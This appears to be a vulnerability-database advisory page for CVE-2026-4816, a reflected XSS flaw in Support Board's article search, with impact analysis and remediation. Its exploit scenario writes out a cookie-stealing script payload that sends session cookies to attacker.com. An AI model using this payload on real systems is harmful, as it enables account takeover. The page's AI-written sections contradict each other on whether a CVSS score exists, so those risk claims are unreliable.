Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK
2 techniques across 2 tactics: Initial Access, Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Impact | While no CVSS score or EPSS value has been published for CVE-2026-4816, the vulnerability exhibits characteristics typical of high-severity XSS flaws: the attack vector is network-based (reflected XSS via URL parameter), attack complexity is low (simple URL manipulation), and no privileges are required. The absence of a published CVSS or EPSS score suggests either limited community assessment or delay in official scoring. However, the presence of a vendor patch from INCIBE indicates the vulnerability is credible and worth prioritizing. Reflected XSS vulnerabilities are highly automatable, allow full session hijacking, and can enable persistent compromise if combined with stored data exfiltration. Real-world risk is moderate-to-high depending on deployment scope and whether Support Board instances are internet-facing or internal-only. This is not a low-real-risk issue; it warrants immediate patching. |
| Exploit ScenarioDerived | An attacker crafts a malicious URL such as 'https://target.com/supportboard/include/articles.php?search=<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>' and sends it to a Support Board user via email or social engineering. When the victim clicks the link while authenticated, the unvalidated 'search' parameter is reflected into the HTML page without encoding, causing the JavaScript to execute in the victim's browser. The attacker's script silently exfiltrates the victim's session cookie to an attacker-controlled server, enabling full account takeover. This attack requires no special technical complexity and succeeds against any victim who clicks the link. |
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Alert meAnalysisAIv1 – Mar 25, 2026
A Reflected Cross-Site Scripting (XSS) vulnerability exists in Support Board v3.7.7 that allows unauthenticated attackers to inject malicious JavaScript code via the 'search' parameter in the '/supportboard/include/articles.php' endpoint. Successful exploitation enables attackers to steal session cookies, perform unauthorized actions on behalf of victims, or harvest sensitive user data through victim browsers. A vendor patch is available, and the vulnerability has been officially reported by INCIBE, indicating moderate real-world attention.
RemediationAI
Upgrade Support Board to the patched version released by Schiocco as detailed in the INCIBE advisory (https://www.incibe.es/en/incibe-cert/notices/aviso/multiple-vulnerabilities-support-board-schiocco). As an interim mitigation prior to patching, implement Web Application Firewall (WAF) rules to block requests containing suspicious JavaScript payloads in the 'search' parameter, restrict access to the /supportboard/include/articles.php endpoint to authenticated users only via authentication proxy, and deploy Content Security Policy (CSP) headers to prevent inline script execution. Monitor application logs for suspicious 'search' parameter values containing script tags or event handlers, and consider disabling the article search feature entirely until patching is completed.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
This vulnerability is rooted in CWE-79 (Improper Neutralization of Input During Web Page Generation), a classic reflected XSS flaw. The affected component is Support Board by Schiocco (CPE: cpe:2.3:a:schiocco:support_board:*:*:*:*:*:*:*:*), a PHP-based support ticketing system. The vulnerability specifically exists in the articles.php include file, which processes the 'search' parameter without proper input validation or output encoding. This allows attackers to reflect unsanitized user input directly into the HTML response, where a victim's browser interprets and executes it as legitimate JavaScript within the context of the Support Board application domain.
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Severity by source
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N
Primary rating from NVD · only source for this CVE.
CVSS VectorNVD
Lifecycle Timeline
2DescriptionCVE.org
A Reflected Cross Site Scripting (XSS) vulnerability has been found in Support Board v3.7.7. This vulnerability allows an attacker to execute JavaScript code in the victim's browser by sending the victim a malicious URL using the 'search' parameter in '/supportboard/include/articles.php'. This vulnerability can be exploited to steal sensitive user data, such as session cookies, or to perform actions on behalf of the user.
Executive ViewAI
Organizations using Support Board should be aware of moderate risk from CVE-2026-4816, a cross-site scripting vulnerability rated CVSS 4.8. Attackers could inject scripts to steal sessions or perform actions as authenticated users. A patch is available and should be applied during regular vulnerability management.
Apply vendor patch. If patching is delayed: implement CSP headers, enable HttpOnly cookies, deploy WAF XSS rules.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.
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EUVD-2026-15417
GHSA-r9fv-65q7-7m5c
NVD
CVE.org
EPSS
Vulnrichment
VulDB
Exploit-DB